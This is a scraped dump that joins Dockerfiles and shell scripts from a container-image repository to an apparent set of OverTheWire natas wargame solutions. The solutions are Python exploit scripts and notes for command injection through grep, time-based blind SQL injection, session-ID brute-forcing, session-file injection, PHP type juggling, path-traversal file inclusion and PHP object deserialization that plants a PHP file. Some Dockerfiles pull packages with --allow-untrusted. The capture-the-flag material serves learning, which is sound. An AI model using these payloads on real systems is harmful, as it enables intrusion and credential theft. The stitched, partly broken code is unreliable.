nginx\n\nEXPOSE 8080\n\n#!/bin/bash\n\nenvsubst < /config/ims.tpl.conf > /config/ims.conf\nlogstash -f /config/ims.confFROM python:3.5-alpine\n\nMAINTAINER <>\n\nCOPY requirements.txt .\n\n# Install dependencies\n\nRUN apk --update add --virtual build-dependencies \\\n ca-certificates \\\n openssl \\\n tini \\\n g++ \\\n build-base \\\n --update-cache \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/community/ --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted \\\n && ln -s /usr/include/locale.h /usr/include/xlocale.h \\\n && pip3 install -r requirements.txt\n\n# Remove dependencies & clean up\nRUN apk --no-cache del \\\n wget \\\n build-dependencies \\\n&& rm -rf /var/cache/apk/* /tmp/*\ndate.timezone = UTC\nmemory_limit = -1\nerror_reporting=E_ALL\ndisplay_errors=true\nsoap.wsdl_cache_enabled=0FROM alpine:latest\nMAINTAINER <>\n\n# Environment variables\nENV LUA_VERSION 5.1\nENV ALPINE_VERSION 3.6\nENV LUA_PACKAGE lua${LUA_VERSION}\nENV APPLICATION_PATH /usr/local/application\n\n# LPUpdate apk index.\n\nRUN echo http://dl-4.alpinelinux.org/alpine/v${ALPINE_VERSION}/main \\\necho http://dl-4.alpinelinux.org/alpine/edge/testing \\\n>> /etc/apk/repositories \\\n&& echo http://dl-4.alpinelinux.org/alpine/edge/main \\\n>> /etc/apk/repositories \\\n&& echo http://dl-4.alpinelinux.org/alpine/edge/community \\\n>> /etc/apk/repositories \\\n&& apk --no-cache --update add \\\n autoconf \\\n build-base \\\n ca-certificates \\\n ${LUA_PACKAGE} \\\n ${LUA_PACKAGE}-dev \\\n luarocks${LUA_VERSION} \\\n lua${LUA_VERSION}-filesystem \\\n lua${LUA_VERSION}-busted \\\n openssl-dev \\ \n tar \\ \n g++ \\ \n make \\ \n openssl \\ \n cmake \\\n perl \\\n gcc \\\n unzip \\\n curl \\\n&& ln -s /usr/bin/luarocks-${LUA_VERSION} /usr/bin/luarocks \\\n&& mkdir -p /root/.cache/luarocks \\\n&& /usr/bin/luarocks install luacheck \\\n&& apk --no-cache del \\ \n wget \\\n ${LUA_PACKAGE}-dev \\\n luarocks5.1 \\\n openssl-dev \\ \n tar \\ \n g++ \\ \n make \\ \n openssl \\ \n cmake \\\n build-base \\\n&& rm -rf /var/cache/apk/* /tmp/* \\\n&& mkdir ${APPLICATION_PATH}\n\nWORKDIR ${APPLICATION_PATH}\nFROM openresty/openresty:alpine\n\nMAINTAINER <>\n\nENV GOPATH /go\nENV PATH $PATH:$GOPATH/bin\n\n# Copy files & set permissions\nCOPY nginx.conf /usr/local/openresty/nginx/conf/\nCOPY init-d-nginx /etc/init.d/nginx\nCOPY start-geoip-service.sh /usr/local/bin\nCOPY update-database.sh /etc/periodic/daily\nRUN mkdir /go \\\n&& chmod +x /usr/local/bin/start-geoip-service.sh \\\n&& chmod +x /etc/init.d/nginx \\\n&& chmod +x /etc/periodic/daily/update-database.sh\n\n# Install dependencies\nRUN apk --no-cache --update add \\\n go \\\n curl \\\n perl \\\n&& apk --no-cache del \\\n wget \\\n&& apk --no-cache --update add --virtual build-dependencies \\\n git \\\n musl-dev \\\n autoconf \\\n automake \\\n libtool \\\n make \\\n zlib-dev \\\n curl-dev\n\nRUN opm install chunpu/shim\n# Install and Configure GeoIP service\nRUN go get github.com/klauspost/geoip-service \\\n&& git clone https://github.com/maxmind/geoipupdate && \\\n cd geoipupdate && \\\n ./bootstrap && \\\n ./configure && \\\n make && \\\n make install && \\\n mkdir /usr/local/share/GeoIP\n\n# Remove dependencies & clean up\nRUN apk --no-cache del \\\n wget \\\n build-dependencies \\\n&& rm -rf /var/cache/apk/* /tmp/*\n\n# Set up container logging\nRUN ln -sf /dev/stdout /usr/local/openresty/nginx/logs/access.log && \\\n ln -sf /dev/stderr /usr/local/openresty/nginx/logs/error.log\n\n# Start services\nENTRYPOINT [\"/usr/local/bin/start-geoip-service.sh\"]\n\nWORKDIR /usr/local/openresty/nginx\n\nEXPOSE 80 443 5000\nFROM alpine:3.4\n\nMAINTAINER <>\n\nENV SUPERVISOR_VERSION=3.3.1\nENV GOPATH /go\nENV GO15VENDOREXPERIMENT 1\nENV KUBE_VERSION=\"v1.4.6\"\nENV HELM_VERSION=\"v2.0.2\"\nENV HELM_FILENAME=\"helm-${HELM_VERSION}-linux-amd64.tar.gz\"\n\nADD ./worker.conf /etc/supervisord.conf\n\n# Install dependencies\nRUN echo http://dl-4.alpinelinux.org/alpine/edge/testing \\\n>> /etc/apk/repositories \\\n&& echo http://dl-4.alpinelinux.org/alpine/edge/main \\\n>> /etc/apk/repositories \\\n&& echo http://dl-4.alpinelinux.org/alpine/edge/community \\\n>> /etc/apk/repositories \\\n&& apk --no-cache --update add \\\n gcc \\\n curl \\\n perl \\\n openssl-dev \\\n tar \\\n unzip \\\n g++ \\\n git \\\n make \\\n cmake \\\n openssl \\\n go \\\n ca-certificates \\\n luajit \\\n py-pip \\\n&& update-ca-certificates \\\n&& curl -L https://storage.googleapis.com/kubernetes-release/release/${KUBE_VERSION}/bin/linux/amd64/kubectl -o /usr/local/bin/kubectl \\\n && chmod +x /usr/local/bin/kubectl \\\n && curl -L http://storage.googleapis.com/kubernetes-helm/${HELM_FILENAME} -o /tmp/${HELM_FILENAME} \\\n && tar -zxvf /tmp/${HELM_FILENAME} -C /tmp \\\n && mv /tmp/linux-amd64/helm /usr/local/bin/helm \\\n && chmod +x /usr/local/bin/helm && helm init -c && helm repo add urbit http://charts.urb-it.io \\\n&& go get github.com/urbitassociates/cli53 ;\\\n cd $GOPATH/src/github.com/urbitassociates/cli53 ;\\\n make install \\\n&& pip install \\\n supervisor==$SUPERVISOR_VERSION \\\n supervisor-stdout \\\n redis \\\n enum34 \\\n&& apk --no-cache del \\\n wget \\\n openssl-dev \\\n tar \\\n gcc \\\n g++ \\\n git \\\n make \\\n cmake \\\n unzip \\\n go \\\n&& rm -rf /var/cache/apk/* /tmp/* $GOPATH/src\n\nWORKDIR /var/application\n\nENTRYPOINT [\"/bin/sh\", \"-c\", \"supervisord\", \"--nodaemon\" ,\"--configuration /etc/supervisord.conf\"]\n# node-workspace\nWorkspace image for Node.js with added dependencies for Facebook Flow and YarnFROM alpine:3.4\n\nMAINTAINER <>\n\nARG K8S_VERSION=1.7.5\nARG HELM_VERSION=2.6.2\n\n# Install dependencies\nRUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \\\n curl \\\n git \\\n&& apk --no-cache del \\\n wget \\\n&& rm -rf /var/cache/apt/archives\n\n# Install kubectl & helm\nRUN curl -#SL -o /usr/local/bin/kubectl https://storage.googleapis.com/kubernetes-release/release/v$K8S_VERSION/bin/linux/amd64/kubectl \\\n&& chmod +x /usr/local/bin/kubectl \\\n&& curl -#SL https://storage.googleapis.com/kubernetes-helm/helm-v$HELM_VERSION-linux-amd64.tar.gz | tar zxvf - \\\n&& mv linux-amd64/helm /usr/local/bin/helm && rm -rf linux-amd64 \\\n&& chmod +x /usr/local/bin/helm \\\n&& mkdir -p ~/.kube && helm init -c\n\nWORKDIR /home\n\nCMD kubectl\nerror_log = /proc/self/fd/2\ndecorate_workers_output = no\n#!/bin/sh\nmkdir -p ${VSFTP_S3_MOUNTPOINT}\nif [ -n ${SSL_CERTIFICATE+x} ]\n then\n mkdir -p /var/cert\n mount tmpfs /var/cert -t tmpfs -o size=16M\n echo -e \"$SSL_CERTIFICATE\" | sed -e 's/^\"//' -e 's/\"$//' > /var/cert/vsftpd.pem\n echo \"\" >> /etc/vsftpd/vsftpd.conf\n cat /etc/vsftpd/ssl.conf >> /etc/vsftpd/vsftpd.conf\n unset SSL_CERTIFICATE\nfi\ndate.timezone = UTC\ndisplay_errors = Off\nlog_errors = On\nmemory_limit = 512M\n\n# Opcache\nopcache.enable=1\nopcache.memory_consumption=64\nopcache.max_accelerated_files=2000\nopcache_revalidate_freq=240\nFROM php:7.1-alpine\n\nMAINTAINER <>\n\nENV MONGODB_VERSION=1.2.5\n\n# Install dependencies & clean up\nRUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \\\n php7-sockets \\\n php7-bcmath \\\n curl \\\n openssl-dev \\\n openssl \\\n autoconf \\\n build-base \\\n icu \\\n icu-dev \\\n&& apk --no-cache del \\\n wget \nRUN pecl install \\\n mongodb-$MONGODB_VERSION \\\n&& docker-php-ext-install \\\n pdo_mysql \\\n sockets \\\n intl \\\n bcmath \\\n&& docker-php-ext-enable \\\n mongodb\n\nRUN rm -rf /var/cache/apk/* /tmp/* \\\n&& apk --no-cache del \\\n build-base \\\n autoconf \\\n openssl-dev \\\n icu-dev\n\n# Add config & crontab\nADD ./lumen.ini /usr/local/etc/php/conf.d\nADD lumen-scheduler.crontab /lumen-scheduler.crontab\nRUN /usr/bin/crontab /lumen-scheduler.crontab\n\nWORKDIR /var/www/application\nFROM nginx:1.20.1-alpine\n\nCOPY auto-reload-nginx.sh /home/auto-reload-nginx.sh\nCOPY nginx.conf /etc/nginx/\nCOPY default.conf /etc/nginx/conf.d/default.conf\n\nRUN chmod +x /home/auto-reload-nginx.sh\n\nARG UID=1000\nARG GID=2000\n\n# Install & clean up dependencies\nRUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \\\n curl \\\n shadow \\\n inotify-tools \\\n&& apk --no-cache del \\\n wget \\\n&& rm -rf /var/cache/apk/* /tmp/*\n\n# Set up user\nRUN deluser nginx || true \\\n && delgroup nginx || true \\\n && addgroup -g $GID -S nginx || true \\\n && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G nginx nginx || true\n\nRUN chown nginx /home/auto-reload-nginx.sh \\\n && chown -R $UID:0 /var/cache/nginx \\\n && chmod -R g+w /var/cache/nginx \\\n && chown -R $UID:0 /etc/nginx \\\n && chmod -R g+w /etc/nginx\n\n# Set up logging\nRUN ln -sf /dev/stdout /var/log/nginx/access.log && \\\n ln -sf /dev/stderr /var/log/nginx/error.log\n\nCMD [\"/home/auto-reload-nginx.sh\"]\n\nWORKDIR /var/www/application\n\nUSER nginx\n\nEXPOSE 8080\nFROM python:3.9-alpine3.17\n\nRUN python -m pip install --upgrade pip\n\n# Install dependencies\nRUN apk --update add \\\n ca-certificates \\\n openssl \\\n tini \\\n g++ \\\n gdal \\\n geos \\\n --update-cache \\\n --repository http://dl-3.alpinelinux.org/alpine/v3.17/community --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/community --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/testing --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/main --allow-untrusted\n\nRUN apk --update add --virtual build-dependencies \\\n build-base \\\n gdal-dev \\\n geos-dev \\\n --update-cache \\\n --repository http://dl-3.alpinelinux.org/alpine/v3.17/community --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/community --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/testing --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/main --allow-untrusted \\\n && ln -s /usr/include/locale.h /usr/include/xlocale.h \\\n && pip install gunicorn \\\n && pip install gevent \\\n && pip install cython \\\n && pip install numpy \n \n# Remove dependencies & clean up\nRUN apk --no-cache del \\\n wget \\\n build-dependencies \\\n&& rm -rf /var/cache/apk/* /tmp/*\nFROM nginx:1.21.5-alpine\n\nARG PHP_UPSTREAM=php-fpm\n\nARG UID=1000\nARG GID=2000\n\nCOPY auto-reload-nginx.sh /home/auto-reload-nginx.sh\nCOPY nginx.conf /etc/nginx/\nCOPY lumen.conf /etc/nginx/conf.d/default.conf\nCOPY tracking.conf /etc/nginx/conf.d/tracking.conf\n\nRUN echo \"upstream php-upstream { server ${PHP_UPSTREAM}:9000; }\" > /etc/nginx/conf.d/upstream.conf \\\n&& chmod +x /home/auto-reload-nginx.sh\n\n# Install & clean up dependencies\nRUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \\\n curl \\\n shadow \\\n inotify-tools \\\n&& apk --no-cache del \\\n wget \\\n&& rm -rf /var/cache/apk/* /tmp/*\n\n# Set up user\n\nRUN deluser nginx || true \\\n && delgroup nginx || true \\\n && addgroup -g $GID -S nginx || true \\\n && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G nginx nginx || true\n\nRUN chown nginx /home/auto-reload-nginx.sh \\\n && chown -R $UID:0 /var/cache/nginx \\\n && chmod -R g+w /var/cache/nginx \\\n && chown -R $UID:0 /etc/nginx \\\n && chmod -R g+w /etc/nginx\n\nCMD [\"/home/auto-reload-nginx.sh\"]\n\nWORKDIR /var/www/application\n\nUSER nginx\n\nEXPOSE 8080\npytz==2017.3\npython-dateutil==2.6.1\ngevent==1.2.2\ngunicorn==19.7.1\nredlock-py==1.0.8\n#!/usr/bin/env sh\n\necho \"UserId ${MAXMIND_USER_ID}\">/usr/local/etc/GeoIP.conf;\necho \"LicenseKey ${MAXMIND_LICENSE_KEY}\">> /usr/local/etc/GeoIP.conf;\necho \"ProductIds GeoIP2-City GeoIP2-Country\">> /usr/local/etc/GeoIP.conf;\n\nnohup /usr/local/openresty/bin/openresty > /dev/null 2>&1 &\n# It will take some seconds before the service is accessible\n/usr/local/bin/geoipupdate && /go/bin/geoip-service -db=/usr/local/share/GeoIP/GeoIP2-City.mmdb -listen=':5000'\nMaxMind GeoIP\n=============\n\nSets up a MaxMind GeoIP service.\n\n## Environment vars \n MAXMIND_USER_ID: \n MAXMIND_LICENSE_KEY: astroid==1.6.1\nisort==4.3.2\npylint==1.8.2\ncoverage==4.5\nhacking==1.0.0\n"},"directory_id":{"kind":"string","value":"8803ea474a8332689d10ba75be73aa6957c611e1"},"languages":{"kind":"list like","value":["Markdown","INI","Text","Dockerfile","Shell"],"string":"[\n \"Markdown\",\n \"INI\",\n \"Text\",\n \"Dockerfile\",\n \"Shell\"\n]"},"num_files":{"kind":"number","value":31,"string":"31"},"repo_language":{"kind":"string","value":"Dockerfile"},"repo_name":{"kind":"string","value":"urbitassociates/docker-images"},"revision_id":{"kind":"string","value":"d58bb60fd9b6a1a48382d66ceedd1eb8deb9fa81"},"snapshot_id":{"kind":"string","value":"4e7afc766718ff5f576eb39c3086f8663ae574ce"}}},{"rowIdx":115,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"import requests\n\nurl = 'http://natas26.natas.labs.overthewire.org/'\nusername = 'natas26'\npassword = 'oGgWA'\nsession = requests.session()\nsession.cookies['drawing'] = \"\nresponse = session.get(url ,auth=(username, password))\nprint(response.text)\nresponse = session.get(url + \"img/haha.php\", auth = (username, password));\nprint(response.url)\nprint(response.text)\n\n# natas27_pass: \n\n\n\n\n\n\n\n\n\n\n

natas16

\n
\n\nFor security reasons, we now filter even more on certain characters

\n
\nFind words containing:

\n
\n\n\nOutput:\n
\n\n
\n\n\n
\n\n\n\n'''\npregmatch() function is used which filters out some characters\n$ this is not filtered out so we can use grep inside grep\n$(grep chars from /etc/natas_webpass/natas17)elephant (elephant is in the dictionary.txt file)\nso if the character char is in the pw, grep will return the password the the outer grep will return nothing because \"natas17_password(elephant)\" is not in dictionary.txt file\nuse the python script\n\n\n'''import requests\n\nurl = 'http://natas20.natas.labs.overthewire.org/?debug=True'\nusername= 'natas20'\npassword = ''\n\nsession = requests.session()\n\nresponse = session.get(url, auth=(username, password))\nprint(response.text)\nprint(\"--\"*40)\nresponse = session.post(url, data={\"name\": \"haha\\nadmin 1\"}, auth=(username, password))\nprint(response.text)\nprint(\"--\"*40)\nresponse = session.get(url, auth=(username, password))\nprint(response.text)\n\n# natas21_pass: import requests\n\nurl = 'http://natas25.natas.labs.overthewire.org/'\nusername = 'natas25'\npassword = ''\nheaders = {'User-Agent': \"\"}\nsession = requests.session()\nresponse = session.get(url, headers=headers, auth=(username, password))\nprint(response.request.headers)\nsessid = session.cookies['PHPSESSID']\nresponse = session.get(url, headers=headers, params={\"lang\": \"....//....//....//....//....//var/www/natas/natas25/logs/natas25_\" + sessid + \".log\"} ,auth=(username, password))\nprint(response.text)\n\n# natas26_pass: \n\n# params={\"lang\": \"....//....//....//....//....//var/www/natas/natas25/logs/natas25_\" . session.cookies['PHPSESSID'] . \".log\"},\";\n }\n}\n\nfunction my_session_start() { \n if(array_key_exists(\"PHPSESSID\", $_COOKIE) and isValidID($_COOKIE[\"PHPSESSID\"])) { \n if(!session_start()) {\n debug(\"Session start failed\");\n return false;\n } else {\n debug(\"Session start ok\");\n if(!array_key_exists(\"admin\", $_SESSION)) {\n debug(\"Session was old: admin flag set\");\n $_SESSION[\"admin\"] = 0; // backwards compatible, secure\n }\n return true;\n }\n }\n\n return false;\n}\n\nfunction print_credentials() { \n if($_SESSION and array_key_exists(\"admin\", $_SESSION) and $_SESSION[\"admin\"] == 1) {\n print \"You are an admin. The credentials for the next level are:
\";\n print \"
Username: natas19\\n\";\n    print \"Password: >
\";\n } else {\n print \"You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.\";\n }\n}\n\n\n$showform = true;\nif(my_session_start()) { // checks \"PHPSESSID\" cookie (its value must be a number or a numerics tring), if so checks checks cookie \"admin\" if it exists sets its value to 0 and function returns true\n print_credentials(); // prints the password for natas19 if the alue of cookie \"admin\" is 1\n $showform = false;\n} else {\n if(array_key_exists(\"username\", $_REQUEST) && array_key_exists(\"password\", $_REQUEST)) {\n session_id(createID($_REQUEST[\"username\"]));\n session_start();\n $_SESSION[\"admin\"] = isValidAdminLogin();\n debug(\"New session started\");\n $showform = false;\n print_credentials();\n }\n} \n\nif($showform) {\n?>\n\n

\nPlease login with your admin account to retrieve credentials for natas19.\n

\n\n
\nUsername:
\nPassword: \">
\n\n
\n\n\n
\n\n# disallow redirects\n\t\n\n\";\n print \"
Username: natas23\\n\";\n    print \"Password: <>
\";\n }\n?>\n\n\n
\n\n\n\nwe can disallow the redirect:\n\tresponse = session.get(url, params=payload, auth=(username, password), allow_redirects = False) # as the parameter name says, it ll disallow any redirects.\n\timport requests\n\nurl = \"http://natas16.natas.labs.overthewire.org/\"\nusername = 'natas16'\npassword = ''\nall_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\n\ndef find_password_chars(all_possible_chars, url, username, password):\n\tlis = []\n\tfor i in all_possible_chars:\n\tparams = {'needle': \"$(grep \" + i + \" /etc/natas_webpass/natas17)elephant\"}\n\tr = requests.get(url, params=params, auth = (username, password))\n\tif 'elephant' not in r.text:\n\t\tlis.append(i)\n\treturn \"\".join(lis)\n\ndef find_password(password_chars, url, username, password):\n\twhile (len(natas17_password)<32):\n \t\tfor i in lis:\n \t\tparams = {'needle': \"$(grep ^\" + ''.join(password_chars) + i + \" /etc/natas_webpass/natas17)elephant\"}\n \t\tr = requests.get(url, params=params, auth = (username, password))\n \t\tif 'elephant' not in r.text:\n \t\t\tpassword_chars.append(i)\n \t\t\tnatas17_password = _password + i\n \t\t\tprint(natas17_password)\n \npassword_chars = find_password_chars(all_possible_chars, url, username, password)\nfind_password(password_chars, url, username, password)\n\n# natas17_password: initMsg=\"\"; // this php code will be written to log file\n $this->exitMsg=\"\";\n $this->logFile = \"img/haha.php\"; // create own log file in /img directory which we ll be able to access later\n \n // write initial message\n $fd=fopen($this->logFile,\"a+\");\n fwrite($fd,$initMsg); // write the php code\n fclose($fd);\n } \n \n function log($msg){\n $fd=fopen($this->logFile,\"a+\");\n fwrite($fd,$msg.\"\\n\");\n fclose($fd);\n } \n \n function __destruct(){\n // write exit message\n $fd=fopen($this->logFile,\"a+\");\n fwrite($fd,$this->exitMsg); // write the php code\n fclose($fd);\n } \n }\n $object = new logger('huhu'); // make a logger object\n echo base64_encode(serialize($object)); // serialize and abse64 encode the object to send it as a cookie\n\n // the object is deserialed in the serevr a logger object will be craeted and the magic __ functions() will execute\n\n?>\n\n

natas25

\n
\n
\n
\n\n
\n
\n\n$__GREETING\";\n echo \"

$__MSG\";\n echo \"

$__FOOTER
\";\n?>\n

\n

\n
\n\nimport requests\n\nurl = 'http://natas23.natas.labs.overthewire.org/'\nusername = 'natas23'\npassword = ''\nsession = requests.session()\n\nresponse = session.get(\n url, params = {\"passwd\": \"\"}, auth=(username, password))\n\nprint(response.text)\n\n# natas24_pass: # php code injection\nnet ma her alxi lagoimport requests\n\nurl1 = 'http://natas21-experimenter.natas.labs.overthewire.org/?debug=True'\nurl2 = 'http://natas21.natas.labs.overthewire.org/?debug=True'\nusername = 'natas21'\npassword = ''\n\nsession = requests.session()\n\nresponse = session.post(\n url1, data={\n \"admin\": \"1\",\n \"submit\": \"Update\"\n }, auth=(username, password))\n\nsess_cookie = session.cookies['PHPSESSID']\n\nresponse = session.get(url2, cookies={\"PHPSESSID\": sess_cookie}, auth=(username, password))\nprint(response.text)\n\n# natas22_pass: # php type juggling\n\nif(array_key_exists(\"passwd\",$_REQUEST)){\nwe need the function to return 0, which it will only do if both the strings are equal\nbut if we compare string to an array it will retrun null with an error. so !null is true and we get the credentials.import requests\n\nurl = 'http://natas24.natas.labs.overthewire.org/'\nusername = 'natas24'\npassword = ''\nsession = requests.session()\nresponse = session.get(url, params = {\"passwd[]\": \"\"}, auth=(username, password))\nprint(response.text)\n\n\n# this is helpful: https://www.php.net/manual/en/function.strcmp.php\n# natas25_pass: pass: \n\n\n/*\nCREATE TABLE `users` (\n `username` varchar(64) DEFAULT NULL,\n `password` varchar(64) DEFAULT NULL\n);\n*/\n'''\n\there table name and the column name iside it is given\n\twe can use it\n'''\n\n\n');\n mysql_select_db('natas17', $link);\n \n $query = \"SELECT * from users where username=\\\"\".$_REQUEST[\"username\"].\"\\\"\";\n if(array_key_exists(\"debug\", $_GET)) {\n echo \"Executing query: $query
\";\n }\n\n $res = mysql_query($query, $link);\n if($res) {\n if(mysql_num_rows($res) > 0) {\n //echo \"This user exists.
\";\n } else {\n //echo \"This user doesn't exist.
\";\n }\n } else {\n //echo \"Error in query.
\";\n }\n\n mysql_close($link);\n} else {\n?>\n\n
\nUsername:
\n\n
\n\n\n
\n\n\n\n'''\n\tnotice post request is made\n\tand in the php code, all response texts are commented out\n\twe have to perform a time based sql injection\n\twe can use sleep(seconds) like: natas18\" and sleep(5) #\n\tso if the user natas18 exists, the sql server will sleep for 5 seconds before sending the response\n\twe can use this injection method to find out the password\n'''import requests\n\nusername = 'natas18'\npassword = ''\nurl = 'http://natas18.natas.labs.overthewire.org/'\n\nsession = requests.session()\n\nfor i in range(1, 641):\n\tparams = {\"username\": str(i), \"password\": str(i+1)}\n\treq = session.get(url, params=params ,auth = (username, password)) # cookie key value pair must be an string\n\tprint(req.cookie)\n\n\n\n# pass: \n\n'''\n\twe cannot set a cookie \"admin\" and set it to '1'\n\tthe php code will set it zero anyways\n\twe can set the \"PHOSESSID\", users must have this cookie, so admin also must have this\n\talso admin is uniques, so the admin a session cookie must be alloated for the admin\n\tloop through all the possible \"PHOSESSID\" cookie\n'''\n# natas20 - all about php sessions and custom sessions handlers\n\tfirst php checks for any previous sessions, if found uses that session or creates a new session id and sends that session id as a cookie \"PHPSESSID\" to\n\tthe client. It created a temporary directory on the server to created the session variables for that user session. In the custon session handler functios, the functions read() and write() are vulnurable.\n\tfirst I thought the sequence of execution was; write() and read() but it is quite the opposite because first php checks for any previous sessions and reads from that session file.\n\tso the vulnurability is in both of those functions:\n\t\tin the read function:\n\t\tfunction myread($sid) { \n\t\t debug(\"MYREAD $sid\"); \n\t\t if(strspn($sid, \"1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-\") != strlen($sid)) { // checks if the sessid is valid\n\t\t debug(\"Invalid SID\"); \n\t\t return \"\";\n\t\t }\n\t\t $filename = session_save_path() . \"/\" . \"mysess_\" . $sid;\n\t\t if(!file_exists($filename)) { // checks if file existe ie if there was any previous sessions\n\t\t debug(\"Session file doesn't exist\");\n\t\t return \"\";\n\t\t }\n\t\t debug(\"Reading from \". $filename); // reads from the file; remember-first read() is executed not write so the file can be empty at first\n\t\t $data = file_get_contents($filename);\n\t\t $_SESSION = array(); // gets file contents\n\t\t foreach(explode(\"\\n\", $data) as $line) { // splits the contents at every \"\\n\" newline; returns a array\n\t\t debug(\"Read [$line]\");\n\t\t $parts = explode(\" \", $line, 2); //splits at every space char \" \" \n\t\t if($parts[0] != \"\") $_SESSION[$parts[0]] = $parts[1]; //saves it in session varibale; we can inject \"somename \\nadmin 1\"\n\t\t }\n\t\t return session_encode();\n\t\t}\n\t\tin the write function:\n\t\tif(strspn($sid, \"1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-\") != strlen($sid)) { // checks if sessid is valid\n\t\t debug(\"Invalid SID\"); \n\t\t return;\n\t\t }\n\t\t $filename = session_save_path() . \"/\" . \"mysess_\" . $sid; // writes to this file\n\t\t $data = \"\";\n\t\t debug(\"Saving in \". $filename);\n\t\t ksort($_SESSION);\n\t\t foreach($_SESSION as $key => $value) {\n\t\t debug(\"$key => $value\");\n\t\t $data .= \"$key $value\\n\";\n\t\t }\n\t\t file_put_contents($filename, $data)\n\n\nif we inject \"somename \\nadmin 1\"\n\nit will split at \\n\nand the session varibale $_session['admin'] = 1 is saved\nbut since write is executed after read, to be more precise; after the output stream is closed we have to make another get request to set ourself as admin# php type juggling \n\tPHP does not require (or support) explicit type definition in variable declaration; a variable's type is determined by the context in which the variable is used. That is to say, if a string value is assigned to variable $var, $var becomes a string. If an integer value is then assigned to $var, it becomes an integer.(from php manual page)\n\tso php will convert the variable type as necessary\nbinary safe functions: process strings as stream of bytes.. which simply means that the function is case sensitive\n\n\n
\n \n \n
\n\n\") && ($_REQUEST[\"passwd\"] > 10 )){\n echo \"
The credentials for the next level are:
\";\n echo \"
Username: natas24 Password: <>
\";\n }\n else{\n echo \"
Wrong!
\";\n }\n }\n // morla / 10111\n?> \n\nThe strstr() function compares the 2 strings and returns the part of the first string which contains the 2nd string, False if the 1st string doenot contain 2nd string\nif(strstr($_REQUEST[\"passwd\"],\"\") && ($_REQUEST[\"passwd\"] > 10 )){\nhere we can see we are first comparing string and then a integer,\nphp converts variable type as necessary\nso if we submit \"12 iloveyoubaby\", \nstrtsr() will return \"iloveyoubaby\" and teh 2nd part will also be true as pho will convert the string \"12 iloveyoubab\" to integer 12 which is greater than 10\nand hence we get the password.\n\nimport requests\nfrom time import *\n\nurl = \"http://natas17.natas.labs.overthewire.org/\"\nuname = 'natas17'\npassword = ''\nall_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ'\nlis = list()\nwhile(len(\"\".join(lis))<32):\n for char in all_possible_chars:\n start_time = time()\n data = {\n \"username\":\n 'natas18\" and binary password like \"' + \"\".join(lis) + char +\n '%\" and sleep(2) #'\n }\n r = requests.post(url, data=data, auth=(uname, password))\n end_time = time()\n if (end_time - start_time) > 1.5:\n lis.append(char)\n print(\"\".join(lis))\n break\n# natas18_password: # source from \"http://natas21-experimenter.natas.labs.overthewire.org/\"\n $val) {\n $_SESSION[$key] = $val;\n }\n}\n\nif(array_key_exists(\"debug\", $_GET)) {\n print \"[DEBUG] Session contents:
\";\n print_r($_SESSION);\n}\n\n// only allow these keys\n$validkeys = array(\"align\" => \"center\", \"fontsize\" => \"100%\", \"bgcolor\" => \"yellow\");\n$form = \"\";\n\n$form .= '
';\nforeach($validkeys as $key => $defval) {\n $val = $defval;\n if(array_key_exists($key, $_SESSION)) {\n $val = $_SESSION[$key];\n } else {\n $_SESSION[$key] = $val;\n }\n $form .= \"$key:
\";\n}\n$form .= '';\n$form .= '
';\n\n$style = \"background-color: \".$_SESSION[\"bgcolor\"].\"; text-align: \".$_SESSION[\"align\"].\"; font-size: \".$_SESSION[\"fontsize\"].\";\";\n$example = \"
Hello world!
\";\n\n?>\n\n

Example:

\n\n\n

Change example values here:

\n\n\n\n
\n\n\n\n# source from:\"http://natas21.natas.labs.overthewire.org/\"\n\nfunction print_credentials() { /* {{{ */\n if($_SESSION and array_key_exists(\"admin\", $_SESSION) and $_SESSION[\"admin\"] == 1) {\n print \"You are an admin. The credentials for the next level are:
\";\n print \"
Username: natas22\\n\";\n    print \"Password: <>
\";\n } else {\n print \"You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.\";\n }\n}\n\nsession_start();\nprint_credentials();\n\n?>import requests\nimport binascii\n\nusername = 'natas19'\npassword = ''\nurl = 'http://natas19.natas.labs.overthewire.org/'\n\n#session = requests.session()\n\nfor i in range(1, 641):\n cook = binascii.b2a_hex(str(\"%d-admin\"%i).encode('ascii')).decode('ascii') \n req = requests.post(url, cookies={\"PHPSESSID\": cook} , auth = (username, password)) \n if \"are an admin\" in req.text:\n print(req.text)\n break\n\n# pass: \n\n\n\n'''\nfor username \"jack\":\nPHPSESSID=3631372d4a61636b\nPHPSESSID=3931 2d4a61636b \nPHPSESSID=3530322d4a61636b\n\nfor username \"123456\":\n\tPHPSESSID=363137 2d3132333435\n\tPHPSESSID=363333 2d3132333435\n\tPHPSESSID=3938 2d3132333435 \n\ncheck the cookies.\nit has 2 parts, first varying part\nand another fixed\nThis cookie is hex encoded\ndecoding, the first part is just some random number\nand the second part is a hyphen \"-\" followed by the username\n\nloop through \"(1-641)-admin\".encode('hex') as cookie\nand get the password\n'''# local file inclusion and remote code execution\n\tso turns out there is 2 differner files for 2 different languages and the default one is the englisg file.\n\tso when we choose a language one of the 2 files is set.\n\tThe following code is used.\n\nfunction setLanguage(){\n /* language setup */\n if(array_key_exists(\"lang\",$_REQUEST))\n if(safeinclude(\"language/\" . 